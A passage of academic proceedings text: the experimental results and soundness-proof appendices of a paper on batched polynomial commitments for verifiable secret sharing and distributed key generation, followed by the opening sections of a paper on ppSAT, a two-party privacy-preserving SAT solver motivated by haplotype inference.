We fully implemented our proposed schemes with prover
batching and present the experimental results in this section.

Implementation. We implemented our proposed schemes in
C++ consisting of around 3000 lines of code. We used the
ate-pairing library [1] for bilinear maps in the scheme with
the trusted setup, and the GMP library [2] for large numbers
and arithmetic on a finite field. The implementation of our
transparent polynomial commitment was based on the open-
source codebase of the scheme in [41]. We used the same
extension field Fp2 for p = 261−1, which provides 100+ bits
of security.

Configuration. We ran the experiments on an AWS
c5a.24xlarge instance, which was equipped with an
AMD EYPC 7002 CPU with 96 cores, 187 GB RAM4. All
parties were executed on the same machine. We only report
the numbers for the optimistic case of the VSS and DKG
schemes where all the proofs are generated honestly. The
polynomial commitment takes the majority of the time in
this case, which is the main focus of this paper. In all the
experiments, we set the degree of the polynomial as t = N/2,
and the number of parties N ranges from 211 to 221.

Counterpart comparison. In the VSS setting, we compare
our KZG-based polynomial commitment scheme with two
schemes that also require a trusted setup (Section 5.1): (i)
naïvely running the KZG polynomial commitment for N ver-
ifiers, which incurs a prover time of O(N2); and (ii) the au-
thenticated multipoint evaluation tree (AMT) scheme in [35].
We executed the open-source code of [35] on the same ma-
chine for a fair comparison. We then compare our transparent
polynomial commitment scheme with running a transparent
counterpart, named Virgo [41], N times to produce N proofs
(Section 5.2). Finally, we evaluate the performance of our
KZG-based and transparent schemes under DKG application,
compared with AMT-DKG instantiation [35] (Section 5.3).

5.1 VSS with Trusted Setup

As shown in Figure 1, the running time of the dealer in our
KZG-based scheme only grows quasi-linearly with the num-
ber of parties. It only takes 2.2s to generate the proofs for 211

parties and takes 3,995s for 221 parties. This is significantly
faster than running the KZG commitment naïvely and the
speedup is 100–58,000×. We could not run the naïve scheme
beyond N = 212 due to its long-running time. Therefore, we
ran up to 212 parties and extrapolated the result for the larger
number of parties. Comparing to the AMT scheme [35], the
prover time of our scheme is slightly worse. It is 2.2× slower
than AMT for N = 211 and 3× slower for N = 221. This is
because our scheme involves 3 FFTs on the base group of the
bilinear map, and the constant in our asymptotic complexity
is slightly larger than that in AMT.

4Our KZG-based scheme only takes 2.8GB of memory in the largest
instance. In our transparent scheme, the memory usage can be reduced to
several gigabytes with proper pipelining by streaming the proof to each
verifier without affecting the prover time.
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Figure 1: VSS Comparison, Trusted setup version
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Figure 2: VSS Comparison, Transparent setup version
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Figure 3: DKG Comparison

The proof size and the verifier time in our scheme are much
smaller than AMT. They are always 192 bytes and 1.3ms
regardless of the number of parties, which are the same as
the original KZG scheme. By contrast, the proof size and the
verifier time grow logarithmically in AMT. Specifically, the
proof size is 20× larger than our scheme, and the verifier time
is 4.2-7.8× slower. This shows that our schemes achieve

much higher scalability than the state-of-the-art.

5.2 VSS with Transparent Setup

Figure 2 presents the performance of the VSS scheme with
our scheme compared with Virgo. As shown in the figure,
the dealing time of our transparent scheme is very fast. It
only takes 0.3s to generate proofs for 211 parties and 560s
for 221 parties. This is 700-260,000× faster than the naïve
approach, which again takes a quadratic time and does not
scale in practice. One may observe an interesting result that
the dealing time of our transparent scheme is indeed an order
of magnitude (i.e., 7-10.5×) faster than the schemes with
trusted setup in Section 5.1. This is because our transparent
scheme only incurs cheap symmetric-key operations such as
hashing and field arithmetic instead of the costly modular
exponentiation. This performance gain is significant even
though it is generally not captured in the asymptotic cost.

The proof size and the verifier time of our transparent
scheme are comparable to Virgo, as we merely introduce an
additional sumcheck for each verifier. The proof size varies
from 200KiB to 390KiB, and the verifier time varies from
2.8ms to 8.7ms. The proof size is larger than the KZG-based
schemes because of the underlying techniques of interactive
proofs. However, notice that our transparent scheme removes
the trusted setup, which is critical in some applications.

5.3 Distributed Key Generation Experiment

We report the total computation time and communication for
each party of the DKG schemes using our polynomial com-
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mitments in Figure 3, and compare it with AMT-DKG [35].
The overall computation time of our protocols grows quasi-

linearly with the number of parties. For example, it takes
15,400s for our transparent scheme to run a DKG of 221 par-
ticipants, and 6,700s for our KZG-based scheme. These are
1.5× and 3.3× faster than the AMT scheme respectively. This
is because our transparent scheme only incurs cheap symmet-
ric operations, as discussed above, despite being asymptoti-
cally logarithmically slower than AMT. On the other hand,
our KZG-based scheme incurs a lower verification time for
each party to verify the proofs from the other parties. More-
over, our transparent scheme is slower than our KZG-based
scheme in the application of DKG. This is because although
the prover time of our transparent scheme is faster, its veri-
fier time is slower (O(log2 N) vs. O(1)). In DKG, each party
verifies the proof of every other party, which becomes the
bottleneck of our transparent scheme.

The total communication of our KZG-based scheme is or-
ders of magnitude smaller than AMT. Specifically, it is always
192 ·N bytes in our scheme, while the proof size of AMT-
DKG grows quasilinearly. Concretely our KZG-based scheme
achieves the communication of only 0.8GB for N = 221,
which is 20× smaller than AMT. Due to techniques to re-
move the trusted setup, the communication in our transparent
scheme is 100× larger than AMT, which matches their asymp-
totic cost difference (i.e., O(N log2 N) vs. O(N logN)).
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A Additional Preliminaries

Interactive proofs. An interactive proof allows a prover P to
convince a verifier V the validity of some statement through
several rounds of interaction. We say that an interactive proof
is public coin if V ’s challenge in each round is independent
of P ’s messages in the previous rounds. The proof system
is interesting when the running time of V is less than the
time of directly computing the function F . We formalize the
interactive proofs in the following:

Definition 4. Let F be a function. A pair of interactive ma-
chines 〈P ,V 〉 is an interactive proof for F(x) = y with negli-
gible soundness if the following holds:

• Completeness. For F(x)= y it holds that Pr[〈P ,V 〉(x,y)=
1] = 1.

• Soundness. For F(x) 6= y and any P ∗ it holds that
Pr[〈P ∗,V 〉(x,y) = 1]≤ negl(λ).

Verifiable Secret Sharing. An (N, t + 1) secret sharing
scheme [5, 33] allows a dealer to split up a secret s among N
verifiers in such a way that only the subset of t +1 or more

USENIX Association 31st USENIX Security Symposium    2979



Protocol 4. (N, t +1) verifiable secret sharing scheme
Suppose P is the dealer with a secret s ∈ F and V0, . . . ,VN−1
are N verifiers. Let pp← KeyGen(1λ, t).

• Sh phase:

1. P picks f ∈R F[X ] of degree t such that s = f (0), com-
putes s j = f (u j) for all j ∈ [N].

2. P runs com f =Commit( f ,pp) and broadcasts com f to
all verifiers.

3. P runs ( f (u j),π j) = Open( f ,u j,pp) and sends
( f (u j),π j) to V j for all j ∈ [N].

4. For each j ∈ [N], V j invokes b ←
Verify(com f ,u j, f (u j),π j,pp). If b = 0, V j broadcasts
a complaint against the dealer.

5. If the size of the set S of complaining players is larger
than t, the dealer is disqualified. Otherwise, the dealer
reveals the correct shares with proofs by broadcast-
ing { f (u j,π j)} j∈S. If any one proof does not verify (or
dealer did not broadcast), the dealer is disqualified. Oth-
erwise, each V j now has her correct share f (u j).

• Rec phase: Given com f and shares ( f (u j),πi)i∈T⊆[N]

such that |T | > t, the reconstructor runs b j ←
Verify(com f ,u j, f (u j),π j,pp) for all j ∈ T . If b j = 1 for
all j ∈ T , the reconstructor recovers f with { f (u j)} j∈T by
Lagrange interpolation and obtains s = f (0).

participants can recover the secret s, and the subset of t or
fewer participants can not. An (N, t + 1) VSS scheme can
be instantiated with a polynomial commitment scheme. It
consists of two phases: the sharing (Sh) phase and the recon-
struction (Rec) phase. In the sharing phase, the dealer P picks
a random polynomial f (x) of degree t such that the secret
s = f (0), and then commits to f . Then P sends the shared se-
cret s j = f (u j) and the corresponding proof π j to the verifier
V j for all j ∈ [N], where each u j is a unique value. V j accepts
s j by checking π j. In the reconstruction phase, each verifier
V j reveals s j and π j to the reconstructor. The reconstructor
uses Lagrange interpolation to recover s after receiving t +1
valid shares. The formal VSS protocol instantiated with the
polynomial commitment is presented in Protocol 4.

B Proving Soundness of Our New Fiat-
Shamir-Style Transformation

Below, we focus on Steps 3-6 of Protocol 3 on the circuit C
and formally prove that the protocol is complete and sound.
When combined with the MVPC in Steps 1,2 and 7, we are
able to obtain a non-interactive argument by Definition of
Zero-knowledge proofs.

There are two key differences between our transformation
in Protocol 3 and the standard Fiat-Shamir transformation:
(1) in every round, the randomness is generated by hash-

ing the random challenge and the message in the previous
round, instead of the entire transcript so far; (2) in Step 4 a
Merkle tree is constructed on the hash of each verifier and
the root is used as the common randomness in this round for
all verifiers. However, when viewed from the perspective of
a single verifier, e.g., V0, the second difference is actually
very similar to the first one. This is because in each round,
V0 receives logN messages from the prover (claimed to be
the validation path of a Merkle tree). To perform the Merkle
tree verification, as shown in Step 6 of Protocol 3, suppose
P sends the authentication path of (ν1, . . . ,νlogN) to V0 and
r is V0’s random challenge in the current round, V0 com-
putes rt = ρ(. . .ρ(ρ(r||ν1)||ν2) . . . ||νlogN) and use rt as her
random challenge in the next round. When proving soundness,
as the prover is malicious, there is no guarantee that these
messages are indeed from the same Merkle tree among all
verifiers. Therefore, it is equivalent to extending one round
of the interactive version of the sumcheck protocol in Step 4
of Protocol 2 to logN rounds. In these additional rounds, the
prover does nothing but sending a dummy message νi to the
verifier. The verifier ignores the dummy message and replies
with fresh randomness. Finally, the prover and the verifier
use the last randomness to proceed to the next round of the
original sumcheck protocol. We give this interactive protocol
with dummy messages for Step 4 of Protocol 2 in Protocol 5.

Observe that when we apply our Fiat-Shamir transforma-
tion of hashing only the previous random challenge and mes-
sage to Protocol 5, it becomes Protocol 3 from the perspective
of each verifier, if we model the hash function in the Merkle
tree as the random oracle. Moreover, intuitively Protocol 5 is
sound as long as the original interactive proof is sound, as the
verifier simply picks some additional randomness and ignores
some dummy messages from the prover. Therefore, our strat-
egy to prove the soundness of Protocol 3 is: (1) we first show
that as long as an interactive proof protocol is secure against
state restoration attacks defined in [4], the non-interactive
protocol by applying the transformation of hashing only the
previous message and the random challenge is sound; (2) ex-
tending one round of an interactive proof protocol to multiple
rounds with dummy messages as in Protocol 5 does not affect
the security against state restoration attacks.

Formally, let T be an interactive proof protocol with η

rounds for the statement of F(x) = y. Let (m1,r1, . . . ,mη,rη)
denote a complete transcript for T, where mi ∈ F∗ is the
prover’s message in round i while ri ∈ F is the verifier’s ran-
domness in round i. Let ρ : F∗→ F denote the random oracle.
In our new heuristic algorithm, the prover sets required ran-
dom points as r1 = ρ(x||y||m1||0) and ri = ρ(ri−1||mi||i−1)
or ri = ρ(mi||ri−1||i− 1) for i ∈ {2, . . . ,η} to make T non-
interactive. We modify the transformation by taking the round
number in T as the extra input to the random oracle and ex-
changing the order of ri−1 and mi in certain rounds. We show
that if T is sound against the prover with state restoration
attacks, then the non-interactive protocol is sound after the
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Protocol 5. The interactive proof with dummy messages for
Step 4 of Protocol 2

For round i = 1 : . . . , logN of the sumcheck protocol:
For k = 1, . . . , logN:

• P sends νi,k to V .

• V responds with random number of Dui,k ∈ F.

• If jk = 0, set r(0)i = ρ(r(0)i ||νi,k); otherwise, set r(0)i =

ρ(νi,k||r
(0)
i ).

P and V j use r(0)i as the random challenge in round i and continue
the sumcheck protocol.

Game 1. The game between a state-restoring prover P ∗(x,y)
and a verifier V (x,y).

1. Given x,y satisfying F(x) 6= y, the game initializes the set of
SeenStates to be {null}.

2. Repeat the following at most T times, where T = poly(λ):

(a) P ∗ chooses an element cvs in SeenStates. (cvs is short for
complete verifier’s state.)

(b) The game sets V ’s state to cvs.

(c) If cvs= null: P ∗ sends m1 to V . Then V returns a random
point r1 to P ∗; P ∗ adds m1||r1 into SeenStates.

(d) If cvs = m1||r1|| . . . ||mi−1||ri−1 for 1 < i≤ η: P ∗ sets V ’s
state to cvs, generates mi according to cvs and sends it to
V . After receiving ri randomly sampled by V . P ∗ adds
cvs||mi||ri into SeenStates.

(e) If cvs = m1||r1|| . . . ||mη||rη, the prover can choose to
set V ’s state to cvs. V computes his decision b given
(x,y,m1,r1, . . . ,mη,rη). Then, the game halts and outputs
b.

3. The game halts and outputs 0.

heuristic transformation.

Definition 5. An interactive protocol T for the statement
F(x′) = y′ with η rounds is secure against state restoration
attacks if for every x and y such that F(x) 6= y, for every P ∗
and an honest V , Game 1 outputs 1 with the probability of
negl(λ).

Theorem 4. If T is an interactive proof for F(x) = y with η

rounds and it is secure against state restoration attacks in
Definition 5, then after the transformation, the non-interactive
protocol T′ satisfies the soundness in interactive proofs.

Proof. We use Pρ and V to represent the prover and the
verifier in the non-interactive protocol separately. Suppose
P can query a random oracle ρ at most ∆ times. Given

∆ = poly(λ), we construct a prover P ∗ with state restoration
attack ability against verifier V in the original interactive
protocol.

Construction of P ∗. We use P ∗ to simulate the random ora-
cle for Pρ and P ∗ works as follows.

1. Let ρ be a table mapping F∗ → F and let δ be a table
mapping a random point in F to the verifier’s state. Both
tables are empty in the beginning and are filled with el-
ements as P ∗ runs the protocol. Intuitively, we use ρ to
simulate Pρ access to a random oracle while we use δ to
keep track of V ’s states that P ∗ has “seen in his mind”.
Given a verifier’s state cvs, let L(cvs) be the number of
rounds contained in the state, which can be simply treated
as the number of || in cvs by the format of cvs. Suppose
the vector~e = (e1, . . . ,eη−1) ∈ {0,1}η−1 is public.

2. Begin simulating Pρ and, for i = 1, . . . ,∆:

(a) Let θi denote the i-th query by Pρ.
(b) If θi has been inserted into the table ρ, P ∗ responds

with ρ(θi). Go to next iteration for i.
(c) If i < j, P ∗ draws a random number r ∈ F, answers

the query with r, then sets ρ(θi) := r. Go to next
iteration for i.

(d) If i = j, P ∗ splits θi to x||y||m1||0 (P ∗ aborts if he
cannot split θi to x||y||m1||0). P ∗ starts the game with
V on f (x) = y. P ∗ sets V ’s state to (null), sends m1
to V , receives the first randomness of r1 from V . P
sets ρ(x||y||m1||0) := r1 and δ(r1) := m1||r1. Go to
next iteration for i.

(e) If i > j, suppose the last element of θi is k.
i. If θi = k or k ≥ η or k = 0, P ∗ draws a random

number r ∈ F, answers the query with r, then
sets ρ(θi) := r. Go to next iteration for i.

ii. If ek = 0, let rk ∈ F be the first element of θi. P ∗
splits θi to rk||mk+1||k. If δ(rk) is defined and
L(δ(rk)) = k−1, P ∗ sets V ’ state to cvs= δ(rk).
Then P ∗ sends mk+1 to V . After receiving rk+1
from V , P ∗ answers Pρ with rk+1, sets ρ(θi) :=
rk+1, and sets δ(rk+1) := cvs||mk||rk+1. If δ(rk)
is note defined or L(δ(rk)) 6= k−1, P ∗ draws a
random number r ∈ F, answers the query with
r, then sets ρ(θi) := r. Go to next iteration for i.

iii. If ek = 1, let rk ∈F be the last element ahead of k.
P ∗ splits θi to mk+1||rk||k. If δ(rk) is defined and
L(δ(rk)) = k−1, P ∗ sets V ’ state to cvs= δ(rk).
Then P ∗ sends mk+1 to V . After receiving rk+1
from V , P ∗ answers Pρ with rk+1, sets ρ(θi) :=
rk+1, and sets δ(rk+1) := cvs||mk||rk+1. If δ(rk)
is not defined or L(δ(rk)) 6= k− 1, P ∗ draws a
random number r ∈ F, answers the query with
r, then sets ρ(θi) := r. Go to next iteration for i.
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Our construction has two major differences from the con-
struction in [6]. In the construction above, P ∗ guesses the
statement of f (x) = y that P would use in the proof by as-
suming that the j-th query to the random oracle is x||y||m1||0,
instead of knowing it in advance. This only introduces a poly-
nomial loss on the probability. Moreover, the query to the
random oracle contains the round number. This is because
in our non-interactive argument in Protocol 3, to verify the
Merkle tree path, the prover’s message is sometimes on the
left and sometimes on the right of the input of the hash. Our
construction of P ∗ tracks this information by the round num-
ber in order to determine the ordering of the queries to the
random oracle. In particular, P ∗ use k to detect which round
is relevant to the query. For each k, with the public indicator
ek, P ∗ knows that P’s message is in the head or the tail of the
string.
Analysis of P ∗. We now analyze P ∗’s ability to cheat given
P’s ability to cheat.

Let U(λ) denote the uniform distribution over all functions
on ρ : F∗ → F. If ρ is uniformly sampled from U(λ), then
we write ρ← U(λ) and say that ρ is a random oracle. We
claim that P ∗ simulates a ρ ∈ U(λ) uniformly at random.
That is because, given any new input, P ∗ responds either
with a uniformly random point generated by himself, or a
uniformly random point provided by V . It is equivalent to
draw ρ uniformly at random in the beginning of the non-
interactive protocol.

We claim that if Pρ outputs the proof of
(x,y,m1,r1, . . . ,mη,rη) that makes V accept with probability
nonegl(λ), then P ∗ will have cvs = m1||r1|| . . . ||mη||rη for
F(x) = y to win the game with probability nonegl(λ). The
formal proof is provided in the following.

Without loss of generality, we suppose ek = 0 for 1≤ k < η.
We define some events as follows.

1. E1 represents that Pρ outputs (x,y,m1,r1, . . . ,mη,rη) that
makes V accept. Then it satisfies r1 = ρ(x||y||m1||0) and
ri = ρ(ri−1||mi||i−1) for 1 < i≤ η.

2. E2 represents that Pρ queries P ∗ at
x||y||m1||0,r1||m2||1, . . . ,rη−1||mη||η − 1 in order
and P ∗ does not return the same value for different queries
during the entire query process.

3. E3 represents that P ∗ predicts that Pρ queries x||y||m1||0
for the first time in the j-th query accurately.

4. E4 represents that cvs= m1||r1|| . . . ||mη||rη for F(x) = y
is in P ∗’s SeenStates set and P ∗ wins the game.

First, we prove Pr[E1 ∧¬E2] ≤ negl(λ). Let r0 denote x||y.
There are three cases covering E1∧¬E2: (i) E1 happens but P
does not query ri−1||mi||i− 1 for some i ∈ {1, . . . ,η− 1};
(ii) E1 happens but P queries ri||mi+1||i before querying
ri−1||mi||i− 1 for some i ∈ {1, . . . ,η− 1}; (iii) E1 happens
but P ∗ returns the same value for different queries. The

probability of case (i) and the probability of case (ii) are
both negl(λ) as Pρ can not correctly guess the output of ρ

for any input except with negl(λ). The probability of case
(iii) is also negl(λ) as Pρ can not find a collision of ρ ex-
cept with negl(λ). By union bound, Pr[E1∧¬E2]≤ negl(λ).
Suppose Pr[E1] = p = nonegl(λ), Pr[E1 ∧ E2] = Pr[E1]−
Pr[E1 ∧¬E2] = nonegl(λ)− negl(λ) = nonegl(λ). Then we
have Pr[E1 ∧ E2 ∧ E3] = Pr[E3|E1 ∧ E2] · Pr[E1 ∧ E2] ≥ 1

∆
·

nonegl(λ) = nonegl(λ).
Next, we show Pr[E4|E1 ∧E2 ∧E3] = 1. We prove that if

E1∧E2∧E3 happens, δ(ri) = m1||r1|| . . . ||mi||ri for 1≤ i≤ η

by induction. For each i, δ(ri) was included in δ only once as
there is no collision during the query phase. For i = 1, when P
queries x||y||m1||0 in the j-th query, P ∗ sets δ(r1) := m1||r1.
For i= k, suppose P ∗ sets δ(rk) :=m1||r1|| . . . ||mk||rk when P
queries rk−1||mk||k−1, when P queries rk||mk+1||k hereafter,
P ∗ sets δ(rk+1) := δ(rk)||mk||rk+1 = m1||r1|| . . . ||mk+1||rk+1.
Hence cvs= m1||r1|| . . . ||mη||rη for F(x) = y will be in P ∗’s
SeenStates set and P ∗ will win the game. Pr[E4]≥ Pr[E1∧
E2∧E3] = nonegl(λ).

Theorem 5. If the interactive proof T for F(x) = y with η

rounds is secure against state restoration attacks, after insert-
ing c = poly(λ)-round interaction in the i-th round of T as
in Protocol 5, the new interactive protocol Tdu is also secure
against state restoration attacks for F(x) = y.

Proof. (sketch) Let P be the prover in T and Pdu be the prover
in Tdu. Suppose Tdu inserts c-round interaction with arbitrary
messages of (du1,ν1, . . . ,duc,νc) in the i-th round of T. If
Pdu can win the game described in Definition 5 with prob-
ability p for x,y satisfying F(x) 6= y by generating a cvs of
(m1,r1, . . . ,mi,du1,ν1 . . ., duc,νc,ri,mi+1,ri+1, . . . ,mη,rη),
then P can invoke Pdu to generate the cvs of (m1,r1, . . . ,
mi,ri,mi+1,ri+1, . . . ,mη,rη) to win Game 1 with probability
at least p.

Replacing T with Tdu and applying the non-interactive
transformation to Tdu indicate that we can integrate an au-
thenticated path in the Merkle tree into such a protocol T
at the cost of extra logN rounds, where N is the size of the
Merkle tree. Therefore, for each verifier V j, Protocol 5 inte-
grate logN Merkle paths into Protocol 2 at the cost of extra
log2 N rounds.

In Protocol 3, the statement P wants to convince Vj is equiv-
alent to Fj(comṼd

) = [C(in)] j, where comṼd
is the commit-

ment of Ṽd and P broadcasts to all verifiers at the beginning.
Fj represents that there exists a degree-t univariate polyno-
mial f (x) = c0 + c1x+ . . .+ ctxt such that f (ω j) = [C(in)] j
and comṼd

= MVPC.Commit(c̃, pp), where c̃ the multilin-
ear extension of (c0, . . . ,ct). For each V j, Protocol 3 prac-
tises our new heuristic transformation on Protocol 5 for
Fj(comṼd

) = [C(in)] j to make the proof non-interactive. The
protocol will be sound after the transformation.

2982    31st USENIX Security Symposium USENIX Association



ppSAT: Towards Two-Party Private SAT Solving

Ning Luo
Yale University

Samuel Judson
Yale University

Timos Antonopoulos
Yale University

Ruzica Piskac
Yale University

Xiao Wang
Northwestern University

Abstract
We design and implement a privacy-preserving Boolean sat-
isfiability (ppSAT) solver, which allows mutually distrustful
parties to evaluate the conjunction of their input formulas
while maintaining privacy. We first define a family of secu-
rity guarantees reconcilable with the (known) exponential
complexity of SAT solving, and then construct an oblivious
variant of the classic DPLL algorithm which can be integrated
with existing secure two-party computation (2PC) techniques.
We further observe that most known SAT solving heuristics
are unsuitable for 2PC, as they are highly data-dependent in
order to minimize the number of exploration steps. Faced
with how best to trade off between the number of steps and
the cost of obliviously executing each one, we design three
efficient oblivious heuristics, one deterministic and two ran-
domized. As a result of this effort we are able to evaluate
our ppSAT solver on small but practical instances arising
from the haplotype inference problem in bioinformatics. We
conclude by looking towards future directions for making
ppSAT solving more practical, most especially the integration
of conflict-driven clause learning (CDCL).

1 Introduction
Boolean satisfiability (SAT) is a foundational problem in com-
puter science [11, 13, 14, 32]. SAT asks whether there is a
variable assignment (or model, M ) that makes a Boolean
propositional formula φ evaluate to true. A SAT solver is a
tool that takes an instance φ as input and checks its satisfia-
bility; solvers can also output a model when one exists. The
SAT problem is NP-complete and widely believed to require
at least superpolynomial, if not exponential, time [31, 54].
Most state-of-the-art SAT solvers are in fact enhancements
of the worst-case exponential branch and backtrack algo-
rithm of Davis-Putnam-Logemann-Loveland (DPLL) [13, 14].
Nonetheless, well-engineered modern solvers such as Kissat,
the basis for the winner of the 2021 SAT competition [2],
can efficiently resolve large and complex SAT instances con-
taining tens of millions of variables and clauses [2, 6, 7, 20,
26, 49, 55, 56, 57], arising from within program verifica-

tion [24, 35, 48], networks [5, 39, 40], and numerous other
domains [41, 42, 56].

All existing SAT solvers are designed for execution by a
single party possessing complete information on φ.1 However,
in certain settings SAT instances arise as the conjunction of
inputs from two or more distinct parties, i.e., φ ≡ ∧

i∈[k] φi
where party Pi formulates φi independently of φ j for all j 6= i.
If the Pi are mutually distrustful and their inputs are valuable,
privileged, or legally encumbered – and so must be kept pri-
vate from the other parties – then those solvers are no longer
applicable without a trusted intermediary or secure execution
environment to run them. In settings without recourse to such
trust assumptions, secure computation techniques are instead
required to privately resolve SAT instances. Our work com-
bines recent advancements in oblivious algorithm design [61]
with classic techniques for SAT solving [13, 14] and secure
two-party/multiparty computation (2PC) [62] to develop a
solver for privacy-preserving Boolean satisfiability, or ppSAT.
We also consider the promise and challenge of augmenting
this secure computation with differential privacy (DP) [17, 18]
to trade off privacy and efficiency, following a strand of recent
research [23, 28].

SAT solvers take as input Boolean formulas in conjunctive
(also known as clausal) normal form (CNF). We focus on
the setting with two parties P0 and P1 and a Boolean formula
φ ≡ φ0∧φ1∧φpub such that φb is the private input of Pb for
b∈ {0, 1} and φpub is an optional public input. This allows us
to use the most concretely efficient designs and software for
secure computation available. Also, the general architecture
and optimizations of our construction should be extendable
to support more than two parties given suitable secure com-
putation primitives. We assume that P0 and P1 have agreed
on the meaning of a set of n variables v1, . . . , vn. A two-party
ppSAT solver takes private inputs φ0 and φ1 from P0 and P1
respectively, where φb is over the vi with |φb| = mb clauses.
The solver should correctly output a bit s = (∃M . M |= φ),
and optionally output a satisfying M when possible. Intu-

1Prior work does consider parallel/distributed SAT solving, but only where
that single party coordinates networked computing resources [47].
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itively, we desire a security guarantee that Pb learns nothing
more about φ1−b than is implied by s, φb, |φ1−b|, (when input)
φpub, and (when output) M .2 In this paper we design and
implement a sound ppSAT solver that meets a slightly relaxed
security guarantee, necessary due to the exponential worst-
case runtime of our SAT decision procedure. We introduce
this weakening formally in §3 and Appendix A.

A Motivating Example. In bioinformatics, inference of hap-
lotypes can uncover genetic information valuable to biolog-
ical research and medical treatment. Haplotypes are DNA
sequences which originate from a single parent, and their
information can aid studies on, e.g., genetic risk factors for
cardiovascular disease [53] or the effective use of medica-
tions [22]. However, current genetic sequencing technology
usually only resolves genotypes, which are mixtures of haplo-
types from both parents. Given a set of genotypes G drawn
from a population, the process of inferring a set of haplo-
types H whose elements explain every g ∈ G (i.e., that are
plausibly the biologically-realized haplotypes in that popu-
lation) is called haplotype inference [22, 25]. One compu-
tational approach is haplotype inference by pure parsimony
(HIPP) [22, 25]. HIPP finds a minimally-sized H to explain
an input G, and is known to be APX-hard [34].

Formally, (sections of) both haplotypes and genotypes
may be expressed as strings of length `, with a haplotype
h ∈ {0, 1}` and a genotype g ∈ {0, 1, 2}`. Given a pair of
haplotypes hs = (h0, h1) and a genotype g, the predicate

explainI(hs, g) ⇐⇒
∀i ∈ [`]. (h0

i = h1
i = gi)∨ (h0

i 6= h1
i ∧gi = 2)

is true iff g can be explained as a mixture of h0 and h1. A set
of haplotypes H explains a set of genotypes G if every g ∈ G
can be obtained by pairing two h0, h1 ∈ H:

explain(H, G) ⇐⇒ ∀g ∈ G. ∃hs ∈ H×H. explainI(hs,g).

For example, H = {010, 110, 001} explains G = {210, 022},
as (010, 110) explains 210 while (010, 001) explains 022. It
is straightforward to see that a minimally-sized H has 2 ≤
|H| ≤ 2|G|.

SHIPs [41, 42] solves the HIPP problem for genotype
set G by invoking a SAT solver to find an H which makes
explain(H, G) true. Specifically, for a conjectured size of
the haplotype set r ∈ [2, 2|G|], the SHIPs algorithm converts
explain(H,G)∧|H|= r into a CNF formula φ where the ele-
ments of H are represented by r ·` variables. The satisfiability
of φ is then checked by a SAT solver, and if true the resul-
tant model M encodes H. To find a minimal H, SHIPs starts
with r = 2 and increments it until φ is satisfiable (as a model
necessarily exists when r = 2|G|).
2As is common in 2PC it is difficult for P1−b to hide the length |φ1−b|. When
necessary SAT instances can be padded out with tautological clauses.

Genetic information such as genotypes can be expensive
to obtain, can carry significant privacy risk, and/or can be en-
cumbered with legal and regulatory protections. Commercial
and academic researchers who collect and analyze genotype
data often have strong incentives to control access to it [58].
Anonymization and summarization of genetic data is not a
panacea, to the extent those notions are technically and legally
meaningful at all [50]. Homer et al.’s attack [29, 59] shows
auxillary information paired with the genotype of a target
may be used to identify their participation in a genome-wide
association study (GWAS). If two parties respectively hold
databases of genotypes G0 and G1 and want to run haplotype
inference over G = G0 ∪G1 without exposing their data to
the other participant, current technologies for HIPP require
trading off the privacy of that data against the economic and
social value of the research. Even when legal infrastructure
can provide and enforce privacy guarantees to allow otherwise
reticent parties to share data, the time and cost of lawyers and
negotiations and contracts may very well outpace even the
most expensive secure computations.

The application of SHIPs through a ppSAT solver could
help mitigate all of this tension. Up to a minor optimization
not required for correctness, the CNF formula φ encoding
explain(H, G)∧|H|= r is naturally composed of (i) a public
φpub encoding |H|= r; and (ii) two independent φb each de-
rived only from Gb, such that M |= φ iff M |= φ0∧φ1∧φpub.
As such, each party Pb can construct φb locally, at which point
they may jointly execute the ppSAT solver over φ. Solving
this formula infers an H that explains G while keeping G0 and
G1 private, up to their cardinalities. This approach may not
completely mitigate privacy concerns, as H is itself (inferred)
genetic data which may be, e.g. correlated with observable
medical conditions and the community of origin of the indi-
viduals who provided G. However, as haplotypes are far less
diverse within a population, their exposure may carry less risk
than that of the underlying genotypes [12, 51].

Naive Approaches. While to the best of our knowledge no
specific study of privacy-preserving SAT solving exists in the
literature, both basic secure computation primitives and gen-
eral completeness results can be used to naively instantiate
ppSAT solvers. One immediate approach is to use private set
disjointedness (PSD) testing [19, 33]. Each Pb could enumer-
ate the set Mb = {Mi |Mi |= φb} of satisfying assignments
for their formula, and then the parties could jointly execute a
PSD protocol to check whether |M0∩M1|> 0. A model M
could be recovered by replacing PSD with private set intersec-
tion (PSI) [52]. However, |Mb| can be worst-case exponential
in |φb|, is often very large in concrete terms [3, 4], and is
leaked by this approach, as is |M0∩M1| when using PSI. In
general this enumeration is #P-hard [7], so straightforward
application of PSD/PSI will likely be impractical.

Another naive approach is to raise a preexisting SAT solver
to a ppSAT solver through a generic 2PC compiler. However,
current such compilers (often bluntly) apply techniques such
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as the padding out of loops and linear scan array lookups to
create data-oblivious execution paths [27], which will likely
be impractical given the amount of state management and
data-dependent processing of known SAT decision proce-
dures. Adoption of RAM-based 2PC methods [21] is more
promising, but generic use of their compilers is for the mo-
ment unreasonably expensive.

1.1 Notation
We denote the two parties as P0 and P1, whose inputs are
CNF formulas φ0 and φ1 respectively. When applicable we
represent a public component of the formula, known to both
parties, by φpub. The set of variables in φ is V = {v1, . . . , vn},
so |V | = n. The number of clauses of an input subformula
is |φb|= mb, so that |φ|= m = m0 +m1 +mpub. Each clause
is composed of the logical disjunction of literals, each of
which is either vi or ¬vi for vi ∈V . We compute satisfiability
over φ ≡ φ0∧φ1∧φpub where the last term appears only as
appropriate. A model M ∈ {0, 1}n is a function M : V →
{0, 1} mapping variables to truth values. When referring to
the satisfiablity value s output by the ppSAT solver, we will
often represent s = 0 (resp. s = 1) by UNSAT (resp. SAT), i.e.,
UNSAT indicates that there is no satisfying model for φ, while
SAT indicates the opposite. In practice s will not necessarily
be a bit, as we let s =−1 indicate that the satisfiability of φ

is unknown. We notate access to the ith element in x by x[i],
and use ei to represent the unit vector such that ei[i] = 1 and
ei[ j] = 0 for all j 6= i. Finally, the notation Π(a ‖ b;c) denotes
the execution of a two-party protocol Π with private inputs a
and b and public input c.

1.2 Challenges and Contributions
We found constructing a ppSAT solver to require addressing
three main challenges.

Data-Oblivious Execution. All 2PC constructions use data-
oblivious execution patterns to prevent information leakage.
Designing an oblivious version of a SAT decision procedure
such as DPLL is difficult as known algorithms and their un-
derlying data structures are highly data-dependent, even for
the most basic of operations. For example, such algorithms
assume constant-time methods for checking and modifying
the inclusion of literals within clauses [45]. Any design must
address how to represent clauses so as to allow as efficient
oblivious lookup and alteration as possible. DPLL-based SAT
solvers also guess and backtrack frequently, implicitly build-
ing a search tree dependent upon the input formula. A ppSAT
